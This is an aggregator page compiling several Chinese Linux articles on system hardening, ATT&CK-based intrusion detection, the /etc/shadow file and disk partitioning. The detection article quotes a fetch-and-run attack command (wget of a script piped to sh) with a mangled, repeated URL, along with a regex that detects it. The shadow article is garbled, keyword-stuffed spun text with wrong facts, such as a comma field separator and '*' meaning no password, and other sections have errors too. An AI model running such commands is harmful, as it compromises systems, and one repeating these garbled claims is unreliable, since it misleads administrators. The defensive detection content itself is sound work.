GVKun编程网logo

Linux系统安全保护四个关键点(linux有哪些安全机制保证系统安全)

5

在这里,我们将给大家分享关于Linux系统安全保护四个关键点的知识,让您更了解linux有哪些安全机制保证系统安全的本质,同时也会涉及到如何更有效地14个Linux系统安全小妙招,总有一招用的上!、A

在这里,我们将给大家分享关于Linux系统安全保护四个关键点的知识,让您更了解linux有哪些安全机制保证系统安全的本质,同时也会涉及到如何更有效地14个Linux系统安全小妙招,总有一招用的上!、ATT&CK矩阵 linux系统安全实践、Linux 中的影子文件:保障系统安全的关键、Linux学习第一篇之Linux系统安装——系统分区的内容。

本文目录一览:

Linux系统安全保护四个关键点(linux有哪些安全机制保证系统安全)

Linux系统安全保护四个关键点(linux有哪些安全机制保证系统安全)

无论你是Linux的普通桌面用户还是管理多个服务器的系统管理员,你都面临着同样的问题:日益增加的各种威胁。Linux是一个开放式系统,可以在网络上找到许多现成的程序和工具,这既方便了用户,也方便了黑客。那么,如何才能保护Linux系统安全呢?请看下面四个要领。


一、保持最新的系统核心

由于Linux流通渠道很多,而且经常有更新的程序和系统补丁出现,因此,为了加强系统安全,一定要经常更新系统内核。

Kernel是Linux操作系统的核心,它常驻内存,用于加载操作系统的其他部分,并实现操作系统的基本功能。由于Kernel控制计算机和网络的各种功能,因此,它的安全性对整个系统安全至关重要。

早期的Kernel版本存在许多众所周知的安全漏洞,而且也不太稳定,只有2.0.x以上的版本才比较稳定和安全,新版本的运行效率也有很大改观。在设定Kernel的功能时,只选择必要的功能,千万不要所有功能照单全收,否则会使Kernel变得很大,既占用系统资源,也给黑客留下可乘之机。

在Internet上常常有最新的安全修补程序,Linux系统管理员应该消息灵通,经常光顾安全新闻组,查阅新的修补程序。

二、增强安全防护工具

SSH是安全套接层的简称,它是可以安全地用来取代rlogin、rsh和rcp等公用程序的一套程序组。SSH采用公开密钥技术对网络上两台主机之间的通信信息加密,并且用其密钥充当身份验证的工具。

由于SSH将网络上的信息加密,因此它可以用来安全地登录到远程主机上,并且在两台主机之间安全地传送信息。实际上,SSH不仅可以保障Linux主机之间的安全通信,Windows用户也可以通过SSH安全地连接到Linux服务器上。

三、限制超级用户的权力

我们在前面提到,root是Linux保护的重点,由于它权力无限,因此最好不要轻易将超级用户授权出去。但是,有些程序的安装和维护工作必须要求有超级用户的权限,在这种情况下,可以利用其他工具让这类用户有部分超级用户的权限。Sudo就是这样的工具。

Sudo程序允许一般用户经过组态设定后,以用户自己的密码再登录一次,取得超级用户的权限,但只能执行有限的几个指令。

四、设定用户账号的安全等级

除密码之外,用户账号也有安全等级,这是因为在Linux上每个账号可以被赋予不同的权限,因此在建立一个新用户ID时,系统管理员应该根据需要赋予该账号不同的权限,并且归并到不同的用户组中。

在Linux系统上的tcpd中,可以设定允许上机和不允许上机人员的名单。其中,允许上机人员名单在/etc/hosts.allow中设置,不允许上机人员名单在/etc/hosts.deny中设置。设置完成之后,需要重新启动inetd程序才会生效。此外,Linux将自动把允许进入或不允许进入的结果记录到/rar/log/secure文件中,系统管理员可以据此查出可疑的进入记录。

每个账号ID应该有专人负责。在企业中,如果负责某个ID的职员离职,管理员应立即从系统中删除该账号。很多入侵事件都是借用了那些很久不用的账号。

在用户账号之中,黑客最喜欢具有root权限的账号,这种超级用户有权修改或删除各种系统设置,可以在系统中畅行无阻。因此,在给任何账号赋予root权限之前,都必须仔细考虑。

Linux系统中的/etc/securetty文件包含了一组能够以root账号登录的终端机名称。例如,在RedHatLinux系统中,该文件的初始值仅允许本地虚拟控制台(rtys)以root权限登录,而不允许远程用户以root权限登录。最好不要修改该文件,如果一定要从远程登录为root权限,最好是先以普通账号登录,然后利用su命令升级为超级用户。


14个Linux系统安全小妙招,总有一招用的上!

14个Linux系统安全小妙招,总有一招用的上!

对于互联网IT从业人员来说,越来越多的工作会逐渐转移到Linux系统之上,这一点,无论是开发、运维、测试都应该是深有体会。曾有技术调查网站W3Techs于2018年11月就发布一个调查报告,报告显示Linux在网站服务器的系统中使用率高达37.2%,这一数据也表明,Linux系统被广泛应用。其实,除了在网站服务器中的应用,Linux系统还被用于DNS域名解析服务器、电子邮件服务器、一些开源软件的应用(大数据应用:据Linux基金会的研究,86%的企业已经使用Linux操作系统进行云计算、大数据平台的构建)服务器等之上。

大多数使用者都会认为Linux默认是安全的,有时候这种说法也的确是一个存在争议的话题。Linux默认确实有内置的安全模型。你需要打开它并且对其进行定制,这样才能得到更安全的系统。Linux更难管理,不过相应也更灵活,有更多的配置选项。

对于系统管理员,让产品的系统更安全,免于骇客和黑客的攻击,一直是一项挑战。而且,近些年来对于Linux遭遇攻击的案例很多,所以,如何构建一个安全、强大且牢固的Linux系统一直是一个可探索性的话题。今天,民工哥将从系统的各个层面,给大家分享一下我在日常工作中是如何构建、或者加固Linux系统安全的。希望这些方法对你有所帮助,码字不易,如有帮助,请转发分享加点在看支持一下民工哥。

1、物理安全

这应该说是对于服务器安全保障的第一步。

硬件服务器,首先得专业人的来做专业的维护。其次就是关闭从CD/DVD等这些方面的软启动方式。同时也可以设置BIOS密码,并且要有限制访问的策略与各类流程管控。

还可以禁用USB设备来达到安全的目的:

vim /etc/modprobe.d/stopusb
install usb-storage /bin/true

或者使用下面的命令将USB的驱动程序删除

[root@rs-server ~]# mv /lib/modules/3.10.0-693.el7.x86_64/kernel/drivers/usb/storage/usb-storage.ko.xz

2、保证系统最新

这个就是说要保证系统无其它漏洞存在,比如:已经有的漏洞要及时的修复。保证系统包含了最新版本的补丁、安全修复和可用内核。

yum updates
yum check-update

这个就需要管理员经常关注国内外关于、系统最新漏洞以及补丁发布的信息了:

3、最小化处理原则

无论是安装系统,还是常用的软件,都必须遵守这个原则:最小化安装,同时也是减少漏洞存在的可能性。

对于系统一些不必要的服务、端口,建议关闭。

[root@rs-server ~]# chkconfig --list |grep "3:on"
network 0:off 1:off 2:on 3:on 4:on 5:on 6:off

然后使用下面的命令关闭:

chkconfig service-name off

4、登录与连接

对于Linux服务器来说,一般都是采用远程登录(SSH)连接的方式去进行登录操作。因此:

第一步:就是除了非必要情况,杜绝使用root用户登录,可以使用sudo来进行提权操作,然后利用系统命令将/etc/sudoers文件锁定(除root用户之外的用户无权限修改)。

第二步:建议修改SSH配置文件,比如默认端口号22,禁止root密码登录(有些自有机房的还可以直接禁用root用户通过SSH协议登录)等。

[root@rs-server ~]# vim /etc/ssh/sshd_config
#Port 22
可修改成其它端口号,民工哥常用IP+22混合使用
#PermitRootLogin yes
将yes改成No
#PermitEmptyPasswords no
打开注释即可
#AllowUsers username
指定特定的用户通过SSH协议进行远程连接

对于生产中的服务器,我们还可以使用堡垒机进行连接限制:

手把手从0开始教你搭建Jumpserver,为服务器安全保驾护航!

5、用户管理

Linux是一个可多用户并行操作的系统,所以,系统也对用户进行了划分:超级用户与普通用户。两者权限不同,因此,能干的事也有所不同,所以,对于用户的管理也是非常重要的一步。

设置用户密码:

这个可以通过系统命令passwd来进行设置,一般建议使用强度比较复杂的密码,且各个系统中相同的用户使用不同的密码(日常可以使用管理器来管理)。

[root@rs-server ~]# passwd mingongge
Changing password for user mingongge.
New password:
Retype new password:
passwd: all authentication tokens updated successfully.

临时用户管理:

对于这种需要的临时用户管理,一般是使用过后可以删除,也可以在一段时间后将其锁定不让其再登录,在下次需要登录时再次开启权限。

删除用户很简单,可以使用系统命令userdel -r username 进行删除。

锁定用户其实就是修改用户的属性:

[root@rs-server ~]# usermod -L mingongge

我们打开终端尝试登录看看:

clipboard.png

这时发现已经无法正常登录连接了,表明刚刚的配置是正确的。等到下次需要登录时,可以使用下面的命令进行解锁:

[root@rs-server ~]# usermod -U mingongge
#-L lock
#-U unlock

6、文件管理

这里的文件管理指的是存储用户信息的重要文件:/etc/passwd、/etc/shadow这两个文件。

[root@rs-server ~]# stat /etc/passwd
File: ‘/etc/passwd’
Size: 945 Blocks: 8 IO Block: 4096 regular file
Device: fd00h/64768d Inode: 17135889 Links: 1
Access: (0644/-rw-r--r--) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2019-08-06 01:14:37.439994172 +0800
Modify: 2019-08-06 01:14:37.440994172 +0800
Change: 2019-08-06 01:14:37.442994172 +0800
Birth: -
[root@rs-server ~]# stat /etc/shadow
File: ‘/etc/shadow’
Size: 741 Blocks: 8 IO Block: 4096 regular file
Device: fd00h/64768d Inode: 17135890 Links: 1
Access: (0000/----------) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2019-08-06 01:14:37.445994172 +0800
Modify: 2019-08-06 01:14:37.445994172 +0800
Change: 2019-08-06 01:14:37.447994172 +0800
Birth: -

一般从上面的一些文件属性上可以看出是不是这些文件遭遇篡改了,所以,一般情况建议将此两个文件锁定除了root用户之外的用户无权限修改与访问。

7、启用防火墙

利用系统的防火墙来过滤出入站的流量,这是一个很好的预防攻击的策略,而且系统防火墙的规则可以逐条设置,非常强大,强裂建议开启。

Linux系统安全配置iptables服务介绍

8、软件包的管理

对于系统安装的软件,我们使用RPM包管理器来管理,对于使用yum或者apt-get命令列出来的软件,在对其进行删除、卸载时,一定要使用下面的命令进行:

yum -y remove software-package-name

sudo apt-get remove software-package-name

9、禁用Crtl+Alt+Del 重启

多数服务器在按下Crtl+Alt+Del组合键后,都会使用服务器重启,这个对于线上服务器来说是绝对不友好的一个安全因素,必须禁止,否则一个误操作就造成很大的影响。

#CentOS6 禁用Ctrl+Alt+Del重启功能
#方法一:
vi /etc/init/control-alt-delete.conf
#start on control-alt-delete #注释此行

#方法二:
mv /etc/init/control-alt-delete.conf /etc/init/control-alt-delete.conf.bak

#注:两种方法都无需重启系统即可生效

对于CentOS7 来说,方法有所不同:

[root@rs-server ~]# cat /etc/inittab
# inittab is no longer used when using systemd.
#
# ADDING CONFIGURATION HERE WILL HAVE NO EFFECT ON YOUR SYSTEM.
#
# Ctrl-Alt-Delete is handled by /usr/lib/systemd/system/ctrl-alt-del.target
#
# systemd uses ''targets'' instead of runlevels. By default, there are two main targets:
#
# multi-user.target: analogous to runlevel 3
# graphical.target: analogous to runlevel 5
#
# To view current default target, run:
# systemctl get-default
#
# To set a default target, run:
# systemctl set-default TARGET.target
#
这个文件里已经说明了相关的介绍。

clipboard.png

经过测试,如果将上面文件中的配置注释掉之后,reboot命令会不生效了:

[root@rs-server ~]# ll /usr/lib/systemd/system/ctrl-alt-del.target
lrwxrwxrwx. 1 root root 13 Mar 14 17:27 /usr/lib/systemd/system/ctrl-alt-del.target -> reboot.target

这个ctrl-alt-del.target这是reboot.target的软链接。所以,最终正确的方法是:移动掉这个文件到其它目录,然后重载配置文件使用其它生效,如果再需要这个功能就只需要重新添加这个软件链接即可。

10、监控用户行为

如果你的系统中有很多的用户,去收集每一个用户的行为和和他们的进程消耗的信息非常重要。可以随后和一些性能优化和安全问题处理时进行用户分析。但是如果监视和搜集用户行为信息呢 ?有两个很有用的工具‘psacct‘ 和 ‘acct‘可以用来监视系统中用户的行为和进程。

[root@rs-server ~]# yum install psacct -y
使用方法如下:

ac 统计用户连接时间
ac       #显示所有用户连接总时间
ac -p    #显示每个用户连接时间
ac -d    #显示每天所有用户连接总时间
ac silence      #显示指定用户连接时间
ac -d silence   #显示指定用户每天连接时间

sa 输出用户活动信息
sa      #显示所有用户执行命令情况
sa -u   #按用户显示执行命令情况
sa -m   #按进程显示执行命令情况
sa -p   #按使用率显示执行命令情况

lastcomm 输出最近执行命令信息
lastcomm            #显示所有执行命令
lastcomm silence    #显示指定用户执行命令
lastcomm ls         #显示指定命令执行情况

其他
last        #查看最近用户登录成功列表
last -x     #显示系统关机、重新开启等信息
last -a     #将IP显示在最后一列
last -d     #对IP进行域名解析
last -R     #不显示IP列
last -n 3   #显示最近3条
lastb       #查看最近用户登录失败的列表

具体的使用例子:
[root@rs-server ~]# ac -p
root 71.88
total 71.88
[root@rs-server ~]# sa -u
root 0.00 cpu 1043k mem 0 io accton 
root 0.00 cpu 3842k mem 0 io systemd-tty-ask 
root 0.03 cpu 72576k mem 0 io pkttyagent 
root 0.00 cpu 32112k mem 0 io systemctl 
root 0.00 cpu 2674k mem 0 io systemd-cgroups 
root 0.07 cpu 37760k mem 0 io ps 
root 0.00 cpu 28160k mem 0 io grep 
root 0.00 cpu 1080k mem 0 io ac 
root 0.14 cpu 0k mem 0 io kworker/u256:0 *
root 0.10 cpu 0k mem 0 io kworker/0:0 *
root 0.02 cpu 0k mem 0 io kworker/0:2 *

[root@rs-server ~]# lastcomm sa
sa root pts/0 0.00 secs Tue Aug 6 02:15

[root@rs-server ~]# last -x
root pts/0 192.168.1.14 Tue Aug 6 00:48 still logged in 
root tty1 Tue Aug 6 00:48 still logged in 

[root@rs-server ~]# lastb
mingongg ssh:notty 192.168.1.14 Tue Aug 6 01:11 - 01:11 (00:00)
mingongg ssh:notty 192.168.1.14 Tue Aug 6 01:11 - 01:11 (00:00)

btmp begins Tue Aug 6 01:11:27 2019

11、定期检查日志

将系统及其重要的日志保存在本服务器之外的专业日志服务器上,从而避免黑客通过分析日志来入侵系统及应用,以下是常见的日志文件:

clipboard.png

12、数据备份

clipboard.png

这个不用说都知道是非常重要的,尤其是重要的生产数据,必须本地、异地、不同介质备份及保存,同时还需要定期检查数据的完整性、可用性。

Xtrabackup实现数据的备份与恢复

高逼格企业级MySQL数据库备份方案,原来是这样....

关于数据误删后恢复:不小心执行了 rm -f,先别急着跑路 !

13、安全工具

对于系统来说,常用的安全扫描工具是必备的,比如:扫描开放端口nmap。对于系统中的WEB应用等来说,可以使用一些开源的工具:IBM AppScan、SQL Map等,同样这类的商用产品也很多,这里就不做介绍了(又不给我广告费)。

对于文件有文件加密工具,对于系统还有一些入侵检测、漏洞扫描工具,无论是开源还是商业,都是可以根据实际需求与企业成本来决定使用哪一款工具。

14、管理方法

对于安全管理来说,好的流程与管理制度同样也是必须的,否则,上述13点基本的作用为0,有方法,没有制度去让方法落地执行!!

所以,无论对于小企业、大企业来说,流程、管理制度始终是先行于所有的处理方法之前的。人才是世界上最不可控的因素!!

不掉坑,不背锅!史上最全的服务器安全管理规范开源了

希望这些方法对你有所帮助,码字不易,如有帮助,请转发分享加点在看支持一下民工哥。以上就是民工哥结合个人工作经验的一些总结,可能不全也可能会有不正之处,如果你也有不同的理解或强化系统安全的方法,也请文章后面留言分享出来,我们一探讨、一同交流、共同构建更加强大、安全、可靠的Linux系统环境。

关注民工哥技术之路微信公众号,在后台回复关键字:1024 可以获取一份最新整理的技术干货。

clipboard.png

ATT&CK矩阵 linux系统安全实践

ATT&CK矩阵 linux系统安全实践

0×01 前言

MITRE在2013年推出了ATT&CK模型,根据真实的观察数据来描述和分类对抗行为。ATT&CK将已知攻击者行为转换为结构化列表,近两年来,也在安全行业中广受欢迎,涌现大量需求岗位,且在未来趋势逐步上升趋势,MITRE提供的“对抗战术、技术和常识”框架逐步落地在入侵检测系统中。昨天在群里看到在了解国外的落地情况,有个比较满意的回答:流量检测+安服,反手就是一个赞。

0X02 入侵检测

落地在入侵检测平台,先大概总结入侵检测的大概思路,入侵检测是指通过对采集来的数据进行检查,并根据观察到的异常事件和数据产生告警的过程,常见做法是对入侵行为的发觉,通过从计算机网络或系统中的若干关键点收集信息,并对这些信息进行分析,对被保护系统进行安全审计、监控、攻击识别以及做出实时的反应。从而发现网络或系统中是否有违反安全策略的行为和遭到攻击的迹象。

一个典型的入侵检测系统至少应包括3个功能模块:

提供事件记录流的信息源

发现入侵迹象的分析引擎 

于分析引擎的相应部件

入侵检测的分类

根据检测所用数据的来源不同,可将入侵检测系统分为以下三类:

基于主机的入侵检测系统(HIDS)

1.被监测系统的操作系统事件

2.日志应用程序的事件日志

3.系统调用日志(syscall)

4.端口调用

5.安全审计日志(eventlog)

基于网络的入侵检测系统(NIDS)

数据源是网络上的原始数据包,利用一个运行在混杂模式下的网络适配器类实时监视并分析通过网络进行传输的所有通信业务

基于混合数据源的入侵检测系统(HIDS+NIDS)

通用检测方法

基于已知攻击的检测

通过收集非已知入侵攻击的信息(知识、模式等)的行为特征,建立相关的特征库,当监测的用户或系统行为与库中的记录相匹配时,即认为这种行为是入侵,也是ATT&CK矩阵的思路,这种检测误报率低,对计算能力要求不高,局限在于只能发现已知攻击,对未知攻击无能为力,且模式库难以统一定义,特征库也必须不断更新。

匹配模式

已知特征将已知特征转换为模式,存放在模式数据库中,在检测过程中将捕获的事件与模式数据库中的入侵模式进行匹配,若匹配成功则认为有入侵行为发生。如:wget [[[[http://test.com/eval.sh](http://test.com/eval.sh)]([http://test.com/eval.sh]( http://test.com/eval.sh))]([[http://test.com/eval.sh](http://test.com/eval.sh)]([http://test.com/eval.sh]( http://test.com/eval.sh)))]([[[ http://test.com/eval.sh](http://test.com/eval.sh)]([http://test.com/eval.sh]( http://test.com/eval.sh))]([[ http://test.com/eval.sh]( http://test.com/eval.sh)]([http://test.com/eval.sh](http://test.com/eval.sh)))) -o eval.sh | sh通过正则表达式对这种误用行为模式进行概括描述为wget\s+http:.*(\s+-\w+){0,}\s+-o\s+.*\.(sh|pl)\s*\|sh这里存在着漏报和误报的问题,例如某正常用户管理员可能会执行下列指令,用于自动化的批量运维部署,但是对应一些有着明显的攻击特征可以直接检测,对于这样的现状常见的思路是”升维“或者”维度切换“,在一个维度无法区分的向量,升级到多维度结合判断

IOC检测IOC是可用于客观描述网络入侵事件,以与平台无关方法表示的任意信息片断

注册表键值、文件名、文本字符串、进程名、文件哈希、IPv4地址、URL、电子邮件地址

目前通过分析过的IOC来看,存在大量的IOC过期导致的误报事件,解决这个问题的常见方法是继续IOC再关联行为分析,如:邮件文件发现存在恶意hash值的office文件,其IOC事件的用户行为为:下载文件、DLL代码被执行、发起CC连接,匹配对应事件后定义为恶意IOC,但可能存在的情况是未能及时触发行为,导致漏报。

关联检测

通过将匹配模式的规则转化成IF-THEN规则,形成知识库,然后,运用推理算法进行检测入侵。编码规则说明攻击的必要条件作为IF的组成部分,当规则的左边的全部条件都满足时,规则的右边的动作才会执行,形成逻辑判断

基于行为的检测

先总结正常操作应该具有的特征(用户轮廓),当用户活动与正常行为有重大偏差时即被认为是入侵。所以选取的特征量既要能够准确体现用户行为特征又要能够使模型最优化以最少的特征覆盖用户行为阈值,且需建立正常的特征轮廓并以此作为比较基准,当阀值过大,漏报率高,阀值过小,误报率搞,需要以当前用户行为特征为非正常的行为,且特征轮廓不断更新,时间窗口需要选择合适的频率通常会用UEBA方法论对事件进行建模分析,【攻击者目的:攻击者达到此目的的可能行为步骤:攻击后获得的结果】,如:【系统提权:常见信息收集;上传/下载恶意脚本;凭证窃取;root调用的其低权限文件】,建模扩大了入侵检测的纬度范围,辅助检测,坚解决不好检测和误报高事件。

基于统计的检测

统计方法先采集信息:

基础信息

 

cpu信息

内存信息

网卡数据

系统组信息

系统用户

设备接入信息

应用软件信息

数据信息

网络连接

文件调用

进程启动

监听端口数据

本地防火墙信息

计划任务信息

环境变量信息

内核模块信息

历史访问记录

模型针对信息,统计正常时间测量属性

单位时间连接访问次数

单位时间内进程启动的种类的次数

单位时间内文件和系统的调用情况

范围值内用户登录的时间和次数

范围时间内进程启动的时间间隔,对应的会话数范围时间内写文件的数量、写文件行为的时间间隔

获取信息的统计量后,进行系统运行轮廓定位,单统计量和多统计量对用户行为进行分析

本文的重点是针对已知攻击的矩阵检测,先放一张图

0×03 主机信息采集

在调研了一些主机监控的采集器后,采用了最经典的audit,为了便于数据的标准化输出,采用auditbeat,满足ATT&CK矩阵的70%-80%的检测需求,通sysmon相关能力audit主要分三个模块:

auditd 管理审计规则、自定义auditd规则

system

1.通过用户态的管理进程配置规则,并通过 Netlink 套接字通知给内核

2.内核中的 kauditd 通过 Netlink 获取到规则并加载

3..应用程序在调用系统调用和系统调用返回时都会经过 auditd 

4.auditd 会将这些事件记录下来并通过 Netlink 回传给用户态进程。

file_integrity实时监控指定文件系统变化、报告文件元数据与哈希、为文件建立、移动、删除、更新和属性修改生成事件可以实现审计监控的场景

1.监控文件访问(识别可疑篡改、文件权限更新)

2.监控系统调用(二进制文件或共享库调用)

3.记录用户命令执行(危险命令执行、审计)

4.记录安全事件

5.执行审计搜索

6.统计概要报表

7.监控网络访问(恶意外联)

0×04 基于ATT&CK的入侵检测

snoopy轻量级的lib库,用来激励系统中所有执行过的命令以及参数,实际使用场景中结合snoopy和rsyslog收集所有主机的历史执行命令,snoopy 即是通过 preload 的方式在程序进行 execv() 和 execve() 系统调用的时候记录下所有需要的信息,audit同snoopy,通过监控execve系统调用,同样实现用户的操纵记录,大部分检测通过检测非ROOT用户执行的命令以及进行威胁建模。

侦查内容

一次完整的网络渗透,主要分技术业务与信息分析业务。技术侦查能力为业务侦查提供强大的支撑与保证。业务侦查能力为技术业务提供关键的目标信息以及逻辑思维,在强大的HW中,还记得那个在电线杠下的兄弟吗?

凭证内容

获取凭证主要从根据用户习惯,从文件中、配置和历史记录中获取凭证,也可通过暴力破解和抓取内存中的明文密码

命令和控制

命令行界面提供了一种与计算机系统进行交互的方式,执行的命令以命令行界面进程的当前权限级别运行,在进攻中所采取的所有战术中,应用最广泛的战术莫过于“执行”,而应用白名单是缓解恶意软件攻击时最有用的控制措施,红衣教主讲述故事的时候说到,十年前我们哪会做什么网络安全,做了一层白名单,不在我信任列表里的都杀,没想到效果还挺好

持久化

Linux作为服务器和IoT设备使用的主要操作系统,获取权限后通常需要长期驻留于目标操作系统以达到获利目的,下面列举了常见的后门和驻留持久化技术,如增加超级用户账号、放置SUID shell,定时任务、共享库文件、LKM模块等,在应急响应中持久化是最应该关注的战术之一,也是一个比较好的切入点

权限提升

利用系统漏洞达到root级访问权是攻击者核心目标,权限提升,从入门到放弃,但对于检测来说通过检测子进程uid的是否变为0即可

横向移动

攻击者在利用单个系统漏洞后,通常会尝试在网络内进行横向移动,横向移动对于域渗透,攻击手法相对较多,在内网中,环境相当较干净,检测通用攻击,能达到较好的效果,自动化攻击的时代,躺着中*,防不胜防

清理痕迹

在目前的安全状态下,安全法规定日志需保存6个月以上,且SIEM针对安全信息和事件的管理,也才采集数据,在绕过检测采集以及心跳线检测,无法规避

Linux系统中存在用户态与内核态,以上检测大部分从用户态的攻击角度进行检测,一个恶意的软件,总结三点:隐藏、操纵、收集数据,hook通用技术如下:

1.可信任Shell——使用静态编译的二进制文件:lsof、stat、strace、last、……

2.检测工具和脚本:rkhunter,chkrootkit,OSSEC

3.LiveCD——DEFT、Second Look、 Helix

4.动态分析和调试:使用gdb根据System.map和vmlinuz image分析/proc/kcore

5.直接调试裸设备:debugFS

检测

1.在检测上,目前通过编写了1一系列的auditd规则,获取实践,检测可在传输前如nxlog对数据进行正则匹配、简单关联分析检测,也可在SOC平台上检测,视实际情况而定

 

0×05 结束语

从视觉角度来看,MITRE ATT&CK矩阵按照一种易于理解的格式将所有已知的战术和技术进行排列,一个攻击序列按照战术,至少包含一个技术,并且通过从左侧(初始访问)向右侧(影响)移动,就构建了一个完整的攻击序列。

从技术角度出发,主要的利用场景如下:

(1)对抗模拟

(2)红队/渗透测试活动

(3)SOC成熟度评估

 

 

Linux 中的影子文件:保障系统安全的关键

Linux 中的影子文件:保障系统安全的关键

Linux的/etc/shadow文件完整手册

影子文件和passwd文件一般用于在Linux上执行身分验证过程。影子文件是一种基于文本的文件,用于储存系统上的用户数据。最重要的是linux vi 命令,这儿的密码以加密方式或散列格式保存。

将密码储存在/etc/passwd文件中很容易造成系统不安全。Shadow文件的文件权限设置为640或400。

我们将报导哪些?

在本文中,我们将阐述Linux中的Shadow文件。

为何我们须要影子文件?

Linux中的passwd文件对每个人来说都是可读的,为此,加密的密码已转移到称为影子文件的不同文件中。它只能由root读取。影子文件也坐落/etc文件夹内的/etc/shadow。

与passwd文件十分相像,影子文件中的第一个数组包含账户名,并使用逗号分隔不同的主键。拥有包含加密密码的单独文件还有助于为账户添加新参数。据悉,这有助于控制账户并控制密码时效。

影子文件保持读保护状态以保护加密的密码。这是一项重要的安全举措,由于任何拥有该文件读取权限的人都可以尝试破解加密密码。

影子文件的安全方面

Shadow文件是重置Linux系统root密码的好工具。我们可以找到root用户的账户条目并操作一些设置来恢复root密码。但是,从影子文件恢复密码的过程目前不是主题。

如前所述,影子文件只能由根目录读取。假如一个不怀好意的帐户持有者企图侵入其他系统帐户linux etc目录 权限,他只会用头撞树。假如某人以某种形式获得了密码,则破解密码的时间取决于所使用的加密算法。虽然这么,这并不容易,由于破解加密密码可能须要几分钟到几年的时间。

影子文件的句型

影子文件的句型如下:

login:encyrptedpassword:lastchangedate:min_age:max_age:warning:inactivity:expiration_date:reserved

上行中的数组以天为单位表示。lastchange和expiration是日期数组。这种数组中的时间取自Unix时间的开始日期linux etc目录 权限,即1970年1月1日。

影子文件中主键的说明

该文件中有九个数组,用引号'':''分隔

让我在这儿解释一下每位数组:

登陆:Shadow文件中的每一行都以用户名开头。用户名将Shadow文件中的条目链接到/etc/passwd中的条目。

cryptopassword:它是加密密码的占位符。所以即便它与真实的密码没有任何相像之处。假如有*或!置于这儿,表示该帐户没有密码。

Lastchange日期–它基本上是一个以Unix时间开始的天数表示的日期。这是给出先前更改密码的日期的时间。假如该值为0,则表示用户上次登陆时必须修改密码。

minage–此数组表示只有当日期值为minage+lastage时才会修改密码。假如该数组为空,则表示密码可以随时修改。

maxage–该数组表示当日期值为maxage+lastage时必须修改密码。它实际上是密码过期的日期。对于空密码,过期日期毫无意义linux教程,因而不须要maxage、warning和inactivity数组。

warning–当日期变为lastchange+maxage-warning或密码警告期已开始时,将警告用户修改密码。假如该值为0或空白(空),则表示没有警告期。

不活动–当密码过期时,用户依然可以修改其密码,直至不活动天数为止。倘若未填写此数组,则没有不活动期。

到期日期–这是用户账户到期的日期。自即日起,该帐户将难以登陆。倘若此数组为空,则该账户永远不会过期。另外,切勿在此处使用“0”值。

特殊标志:这个地方平常不使用,已留作将来使用。

如今我们通过一个反例来阐述我们对上述数组的理解。以影子文件中的以下示例条目为例:

linux-console:$6$kKRCC8ip8nKtFjjdZJIj:12825:14:45:10:30:13096

让我们逐渐分解每位数组:

1.linux-console是用户名。

2.下一个数组是用户的加密密码。这是一个很长的密码。但是,为了简约起见,我们稍为截断了它。

3.用户已更改密码12825天或35年1月11天,即自Unix纪元时间(即1970年1月1日)起的2005年2月11日。

4.用户修改密码的最短期限为14天。要使密码可以随时修改,请将此数组设置为0。

5.每45天须要重置一次密码。

6.重置密码的警告将在修改日期前10天出现。

7.假如密码过期而且30天内没有执行任何登陆操作,用户账户将被禁用。

8.自Unix纪元时间起13096天或2005年11月9日以后,该账户将过期。

推论

影子文件是储存您的账户信息的特别安全的地方。passwd文件中的强用户密码存在安全问题。使Shadow文件可由root读取只能清除恶意用户和功击者借助密码的机会。

以上就是Linux 中的影子文件:保障系统安全的关键的详细内容,更多请关注php中文网其它相关文章!

Linux学习第一篇之Linux系统安装——系统分区

Linux学习第一篇之Linux系统安装——系统分区

基本概念:

    系统分区也叫磁盘分区,它是使用分区编辑器(partition editor)在磁盘上划分几个逻辑部分。碟片一旦划分成数个分区(partition),不同类的目录与文件可以存储进不同的分区。

一、分区——把硬盘分为小的逻辑分区。

    分区可以分为以下三个类型:

    1、主分区:最多只能有4个。

    2、扩展分区:

      最多只能有一个。

      主分区加扩展分区最多有4个。

      并且扩展分区不能写入数据,也不能格式化(其实格式化本质上也是写入数据),只能用来包含逻辑分区。

    3、逻辑分区:可以正确的写入数据和格式化。

    

    如上图所示,1、2、3分区是主分区,4是扩展分区,扩展分区下有两个逻辑分区(5和6),这种限制不是Linux系统限制的,而是硬盘限制的,只要硬盘的结构不发生改变,这种结构就不会发生变化。相比于Windows系统,C盘就相当于主分区,剩余的空间都是

  扩展分区,也就是说D、E、F盘等就相当于逻辑分区。

二、硬盘的格式化——写入文件系统。

    硬盘在进行分区之后,并不能直接写入数据,还必须经过格式化处理后才能进行数据的写入。

    格式化又称为逻辑格式化,它是指根据用户选定的文件系统(如FAT16、FAT32、NTFS、EXT2、EXT3、EXT4等),在磁盘的特定区域写入特定数据,在分区中划出一片用于存放文件的分配表、目录等用于文件管理的磁盘空间。因此,格式化的目的就是在硬

  盘当中写入文件系统。这也就解释了为什么我们买的硬盘或者U盘明明是8G的,但是实际可用空间小于8G的原因。

    文件系统会默认的将硬盘分割等大小的空间(数据块),有默认的空间大小,比如说是4kb,如果有个文件的大小为10kb,存储在硬盘当中就占了3个单元空间,即4kb+4kb+2kb,剩余的2kb的不会再进行数据的存放;但是这三个空间在硬盘中是不会连续存储的,

  所以也就有了文件的目录系统。(windows中有个磁盘管理工具:磁盘碎片管理——把保存文件的数据块,尽可能的放在一起,以便于数据的读取)

    文件的目录系统:记录了数据存放的地址。

三、分区设备文件名——给每个分区定义设备文件名。

    例如,在 Linux中,所有的硬件设备都是文件。如下表:

    

    具体的硬盘可以自行查阅资料哈~感觉不需要完全弄懂,只需要当看到某个文件时知道它大概是个什么东西就好了~

    下图展示了常用的硬盘分区方法:

    

    

    假设上方的两个硬盘sda和sdb,sda分成了三个主分区(1、2、3)和一个扩展分区(4),扩展分区下分成了两个逻辑分区(5、6);sdb分成了一个主分区(1)和一个扩展分区(2),扩展分区下分成了3个逻辑分区(5、6、7)。

    通过观察可以发现,逻辑分区的区号永远都是从5开始的,也就是说5分区永远都是逻辑分区的第一个分区。

 

四、挂载(挂载这里我也是学的一脸懵逼)——给每个分区分配挂载点。

    可以理解为Windows中的分配盘符,这个盘符就是挂载点(纯理论),挂载点也就是分区的盘符。Linux使用空的目录名称作为盘符。

    在Linux当中,必须要有以下两个分区:

      1、/(根分区)

      2、swap分区(交换分区,大小一般为内存的2倍,但最大不超过2GB),交换分区可以理解为Windows当中的虚拟内存,当内存不足时,可以把交换分区的空间作为内存空间使用。

      以上两个分区设置好之后,Linux系统就可以正常使用了。

